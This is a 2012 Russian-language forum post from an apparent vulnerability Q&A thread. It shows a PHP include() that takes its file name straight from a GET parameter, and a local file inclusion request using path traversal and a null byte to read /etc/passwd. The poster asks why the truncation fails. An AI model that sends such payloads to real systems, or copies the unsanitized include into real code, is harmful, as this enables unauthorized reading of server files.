Ваши вопросы по уязвимостям.

#11

30.09.2012, 13:29

0o Chris o0

Участник форума

Регистрация: 16.10.2011

Сообщений: 142

С нами: 7670486

Репутация: 0

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]] .[/COLOR][COLOR="#DD0000"]'.html'[/COLOR][COLOR="#007700"]);

[/COLOR][/COLOR]

Почему то после первого обращения к include.php?file=../../../../../../../etc/passwd%00 вылетает ошибка:

Код:

Warning: include(): Failed opening '../../../../../../../etc/passwd' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/include.php on line 2

А после последующих:

Код:

Warning: include(../../../../../../../etc/passwd.html): failed to open stream: No such file or directory in /var/www/include.php on line 2 Warning: include(): Failed opening '../../../../../../../etc/passwd.html' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/include.php on line 2

То есть нулл-байт не обрезает расширение. Приходится чистить кэш или перезапускать браузер.

magic_quotes_gpc = off.